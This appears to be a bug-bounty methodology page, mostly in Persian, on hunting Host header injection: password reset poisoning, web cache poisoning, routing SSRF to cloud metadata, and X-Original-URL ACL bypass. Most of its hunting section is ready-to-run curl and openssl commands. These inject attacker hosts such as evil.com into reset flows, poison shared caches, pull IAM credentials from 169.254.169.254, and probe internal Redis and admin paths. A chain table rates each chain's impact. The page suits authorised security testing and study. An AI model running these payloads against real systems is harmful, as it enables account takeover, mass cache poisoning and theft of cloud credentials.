hunt-host-header

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۶۱۴ کیلوبایت۷ بخش

شکار Host Header Injection — مسمومیت password reset ← ATO، مسمومیت کش وب از طریق Host/X-Forwarded-Host بدون‌کلید، SSRF مبتنی‌بر routing ‏(هدر Host upstream را انتخاب می‌کند ← متادیتای ابری/سرویس‌های داخلی)، SSRF/دورزدن ACL با path-override ‏(X-Original-URL/X-Rewrite-URL)، مسمومیت redirect_uri/issuer مربوط به OAuth و آدرس‌های absolute.

توضیح انگلیسی اصلی (مرجع)

Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature.

فلوی اجرای گام‌به‌گام

◆
hunt-host-headerشروع اجرا
۱
‏بازتابی که فقط برای درخواست *تو* ظاهر می‌شود (چون هدر کلیدخورده است، مثلاً در `Vary`، یا CDN مقدار Host را در کلید دارد) مسمومیت نیست — تأیید کن 2c روی درخواستی که هدر را *ندارد* payload را برمی‌گرداند.
۲
‏‏`Age: 0` + `MISS` هر بار ← کش مشترک نیست ← تأثیر انبوه نیست. به self-only / Low تنزل بده.
۳
‏شعاع انفجار را از ماشین دوم / egress تازه / incognito قبل از ادعای «انبوه» تأیید کن. اسکوپ کش غالباً به‌ازای edge / کوکی / geo است.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-host-headerکلاس آسیب‌پذیری · ۷ بخش۱نمای کلی و کاربرد۲بخش تکمیلی۳اهداف ارزشمند۴سطح حمله و سیگنال‌ها۵مراحل شکار۶زنجیره‌ها و ترکیب‌ها۷دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۲اهداف ارزشمند · ۱سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۲زنجیره‌ها و ترکیب‌ها · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۷

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

# HUNT-HOST-HEADER — تزریق هدر Host

۲

بخش تکمیلی

Grounding / Provenance
ترجمه‌ی کامل ✓بخش ۲ از ۷

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این اسکیل از ادبیات عمومی حمله‌ی Host-header ساخته شده، نه payloadهای ساختگی. در گزارشت منبع تکنیک را cite کن، هرگز شناسه‌ی ساختگی نه:

  • ‏کلاس password-reset poisoning — نوشته‌ی canonical همان «Practical HTTP Host header attacks» دوره‌ی Skelet/Detectify است (کیس request.get_host() مربوط به Django ← لینک password-reset). خیلی فریم‌ورک‌ها URL ریست را از Host درخواست می‌ساختند بدون allowlist سبک ALLOWED_HOSTS. فریم‌ورک + رفتار reflected-Host واقعی مشاهده‌شده را cite کن.
  • ‏مسمومیت کش وب از طریق Host / X-Forwarded-Host بدون‌کلید — PortSwigger Research، James Kettle، «Practical Web Cache Poisoning» ‏(2018) و «Web Cache Entanglement» ‏(2020). این‌ها مسمومیت unkeyed-input را تعریف می‌کنند که مکانیزم پشت poisoning مربوط به X-Forwarded-Host است.
  • ‏‏SSRF مبتنی‌بر routing — PortSwigger Research، «Cracking the lens» / routing-based SSRF (هدر Host انتخاب upstream فرانت‌اند را هدایت می‌کند).

وقتی گزارش می‌نویسی، رفتار دقیقی که بازتولید کردی نام ببر (هدر reflect‌شده، cache HIT روی کلید تازه، hit مربوط به OOB از Collaborator). یک CVE یا شناسه‌ی H1 که تأیید نکردی را کپی نکن — نبود استناد همیشه بهتر از استناد غلط است.

۳

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۳ از ۷

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏Host header injection که به لینک‌های password reset برسد = Critical ‏(ATO برای هر کاربر).

‏زنجیره‌های پرارزش‌تر:

  • ‏مسمومیت password reset ← ATO — سرور لینک ریست را از Host درخواست می‌سازد؛ مهاجم Host: evil.com می‌گذارد؛ ایمیل ریست قربانی توکن را به سمت مهاجم می‌فرستد ← توکن با کلیک گرفته می‌شود ← ATO کامل. واریانت پیش‌از-تصاحب-اکانت: حتی درخواست ریست خود قربانی توکن را به evil.com لو می‌دهد.
  • ‏مسمومیت کش وب از طریق Host بدون‌کلید — CDN/پراکسی معکوس پاسخی را کش می‌کند که X-Forwarded-Host مهاجم را داخل URL absolute (script src، link، redirect) reflect می‌کند ← ورودی مسموم به هر بازدیدکننده‌ی بعدی روی آن کلید کش سرو می‌شود ← XSS/redirect/دورزدن CSP انبوه.
  • ‏‏SSRF مبتنی‌بر routing — فرانت‌اند از خود هدر Host برای انتخاب upstream استفاده می‌کند؛ Host: 169.254.169.254 (یا hostname داخلی) باعث می‌شود درخواست تو را به آن تارگت forward کند ← متادیتای ابری / پنل‌های ادمین داخلی.
  • ‏‏SSRF با path-override / دورزدن ACL — IIS/ASP.NET/Spring مقدار X-Original-URL / X-Rewrite-URL را برای اورراید مسیر route‌شده honour می‌کنند ← به /admin یا endpointهای داخلی برس که ACL لبه فکر می‌کرد بلاک کرده. (لایه متفاوت از SSRF مربوط به routing — فاز ۳ را ببین.)
  • ‏مسمومیت OAuth/OIDC — Host مقدار redirect_uri یا issuer / سند discovery مربوط به OIDC را هدایت می‌کند ← سرقت auth-code یا توکن ← ATO.
۴

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۴ از ۷

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

‏هدرهای کاندیدای خطرناک (ورودی‌های بدون‌کلید / مورداعتماد):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)
۵

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۵ از ۷

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

‏همیشه روی اکانت تست خودت ثبت‌شده تست کن. هرگز ریست کاربر دیگری را درخواست نکن.
فاز ۱ — مسمومیت Password Reset
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

‏تأیید: ایمیل ریست را در اینباکس تست خودت باز کن و هاست لینک را بخوان. توکن باید زیر هاست تحت‌کنترل مهاجم ظاهر شود (evil.com، $TARGET.evil.com، یا دامنه‌ی Collaborator) تا یافته‌ی واقعی باشد. از دامنه‌ی Burp Collaborator به‌عنوان هاست تزریق‌شده استفاده کن تا وقتی قربانی کلیک می‌کند (یا preview-fetcher فچ می‌کند)، توکن را out-of-band بگیری و اثبات داشته باشی — Validation را ببین.

فاز ۲ — مسمومیت کش وب از طریق Host / X-Forwarded-Host

‏مکانیزم: این باگ بازتاب است نه OOB. هاست تزریق‌شده باید داخل بدنه‌ی پاسخ reflect شود (یک URL absolute، src مربوط به script، <link href>، <base href>، Location مربوط به redirect، یا canonical/og:url) و آن پاسخ باید روی کلیدی که کنترل نمی‌کنی کش شود. هیچ callback مربوط به Collaborator از خود تست کش انتظار نمی‌رود — فقط بعداً، اگر مرورگر قربانی URL absolute مسموم را لود کند.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

‏کشنده‌های false-positive (اجباری):

  • ‏بازتابی که فقط برای درخواست تو ظاهر می‌شود (چون هدر کلیدخورده است، مثلاً در Vary، یا CDN مقدار Host را در کلید دارد) مسمومیت نیست — تأیید کن 2c روی درخواستی که هدر را ندارد payload را برمی‌گرداند.
  • ‏‏Age: 0 + MISS هر بار ← کش مشترک نیست ← تأثیر انبوه نیست. به self-only / Low تنزل بده.
  • ‏شعاع انفجار را از ماشین دوم / egress تازه / incognito قبل از ادعای «انبوه» تأیید کن. اسکوپ کش غالباً به‌ازای edge / کوکی / geo است.
فاز ۳ — SSRF از طریق هدر Host — دو مکانیزم متمایز (قاطیشان نکن)

‏این‌ها در لایه‌های متفاوت عمل می‌کنند. جداگانه تستشان کن؛ در یک درخواست ترکیب نمی‌شوند.

‏(3A) SSRF مبتنی‌بر routing — هدر Host مقدار upstream را انتخاب می‌کند. مسیر روی request line می‌رود، دقیقاً مثل درخواست عادی، چون سرویس متادیتا / هاست داخلی HTTP ساده سرو می‌کند و فقط request line + هدرهایی که forward می‌کنی را می‌بیند. X-Original-URL اینجا بی‌ربط است.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

‏(3B) SSRF با path-override / دورزدن ACL — X-Original-URL / X-Rewrite-URL. این فیچر IIS/ASP.NET/Spring-Cloud-Gateway است که اپ مسیر route‌شده را اورراید می‌کند. Host واقعی سر جایش می‌ماند؛ تو ACL مسیر لبه را دور می‌زنی، نه upstream را هدایت. Host واقعی را نگه دار.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
‏پروب قدیمی Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ غلط بود: آن دو هدر در لایه‌های متفاوت عمل می‌کنند و هرگز ترکیب نمی‌شوند. برای متادیتا 3A، برای دورزدن ACL از 3B استفاده کن.
فاز ۴ — مسمومیت OAuth / OIDC / SAML
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

‏تأیید: auth code / توکن باید واقعاً به هاست مهاجم تحویل شود (روی Collaborator گرفته شود) — یک رشته‌ی reflect‌شده به‌تنهایی ATO نیست.

فاز ۵ — فازینگ هدر (Param Miner)

‏Param Miner ← Guess headers در Burp سریع‌تر است و هدرهای بدون‌کلید/مؤثر-بر-کش را پیدا می‌کند که لیست زیر جا می‌اندازد. پیمایش دستی:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
مراحل استخراج‌شده
  1. ۱‏بازتابی که فقط برای درخواست *تو* ظاهر می‌شود (چون هدر کلیدخورده است، مثلاً در `Vary`، یا CDN مقدار Host را در کلید دارد) مسمومیت نیست — تأیید کن 2c روی درخواستی که هدر را *ندارد* payload را برمی‌گرداند.
  2. ۲‏‏`Age: 0` + `MISS` هر بار ← کش مشترک نیست ← تأثیر انبوه نیست. به self-only / Low تنزل بده.
  3. ۳‏شعاع انفجار را از ماشین دوم / egress تازه / incognito قبل از ادعای «انبوه» تأیید کن. اسکوپ کش غالباً به‌ازای edge / کوکی / geo است.
۶

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۶ از ۷

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافتهزنجیره بهتأثیر
هاست لینک ریست = مهاجم (اکانت تست خودت)تزریق هاست Collaborator ← گرفتن توکن با کلیکCritical — ATO هر کاربر
X-Forwarded-Host در URL absolute reflect + قابل‌کش، بدون‌کلیدمسموم‌کردن کلید ← فچ تمیز payload را برمی‌گرداند ← XSS/redirect انبوهHigh — مسمومیت کش انبوه
فرانت‌اند بر اساس Host مسیر می‌دهدHost: 169.254.169.254 با مسیر روی request-line ← credsHigh/Critical — SSRF ← cred ابری
X-Original-URL مسیر را اورراید می‌کندرسیدن به /admin بلاک‌شده در لبهHigh — دورزدن ACL / SSRF
redirect_uri/issuer مربوط به OAuth از Host ساخته می‌شودهدایت فلو ← گرفتن code/token روی CollaboratorCritical — ATO از طریق سرقت code
۷

دروازه‌ی اعتبارسنجی

Validation (house discipline)
ترجمه‌ی کامل ✓بخش ۷ از ۷

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

✅ Password reset: URL توکن در ایمیل اکانت تست خودت از هاست تحت‌کنترل مهاجم استفاده می‌کند. قوی‌ترین اثبات = تزریق هاست Collaborator و نشان‌دادن hit مربوط به HTTP ورودی که هنگام کلیک/پیش‌نمایش لینک توکن را حمل می‌کند (گرفتن OOB).

✅ مسمومیت کش: درخواستی که هدر تزریق‌شده را ندارد (egress IP تازه / incognito) هنوز payload مهاجم را برمی‌گرداند ← مسمومیت کش مشترک اثبات شد. اگر Vary-keyed یا فقط MISS/Age:0 بود به Low تنزل بده.

✅ ‏SSRF مربوط به routing: بدنه‌ی پاسخ واقعی از 169.254.169.254 / هاست داخلی، یا hit مربوط به DNS/HTTP روی Collaborator تو از سمت فرانت‌اند (کیس کور).

✅ ‏path-override: تفاوت status/body در برابر درخواست مستقیم بلاک‌شده‌ی لبه اثبات می‌کند override اعمال شد.

✅ OAuth/OIDC: auth code / توکن واقعاً به هاست مهاجم تحویل می‌شود (گرفته می‌شود)، نه فقط reflect.

‏همیشه false-positiveها را رد کن:

  • ‏Reflect‌شده ≠ کش‌شده. کش-برای-تو ≠ کش-برای-دیگران (Vary، IP دوم را چک کن).
  • ‏یک ۲۰۰ که رشته‌ی Host تو را echo می‌کند SSRF نیست مگر اینکه محتوای پاسخ از تارگت داخلی آمده باشد یا Collaborator تو آتش گرفته باشد.
  • ‏بعضی mailerها لینک‌ها را به SITE_URL ثابت بازنویسی می‌کنند صرف‌نظر از Host — هدر reflect‌شده در پاسخ HTTP مسمومیت ایمیل را تضمین نمی‌کند؛ بدنه‌ی ایمیل را verify کن.

‏شدت:

  • ‏ریست ← ATO برای هر کاربر: Critical
  • ‏‏SSRF مربوط به routing ← cred متادیتای ابری: Critical (اگر cred قابل‌استفاده) / High
  • ‏مسمومیت کش ← XSS/redirect انبوه (کلید مشترک اثبات‌شده): High
  • ‏‏path-override ← مسیر داخلی/ادمین: High
مراحل استخراج‌شده
  1. ۱‏Reflect‌شده ≠ کش‌شده. کش-برای-تو ≠ کش-برای-دیگران (`Vary`، IP دوم را چک کن).
  2. ۲‏یک ۲۰۰ که رشته‌ی Host تو را echo می‌کند SSRF نیست مگر اینکه *محتوای پاسخ* از تارگت داخلی آمده باشد یا Collaborator تو آتش گرفته باشد.
  3. ۳‏بعضی mailerها لینک‌ها را به `SITE_URL` ثابت بازنویسی می‌کنند صرف‌نظر از Host — هدر reflect‌شده در پاسخ HTTP مسمومیت *ایمیل* را تضمین نمی‌کند؛ بدنه‌ی ایمیل را verify کن.
  4. ۴‏ریست ← ATO برای هر کاربر: Critical
  5. ۵‏‏SSRF مربوط به routing ← cred متادیتای ابری: Critical (اگر cred قابل‌استفاده) / High
  6. ۶‏مسمومیت کش ← XSS/redirect انبوه (کلید مشترک اثبات‌شده): High
  7. ۷‏‏path-override ← مسیر داخلی/ادمین: High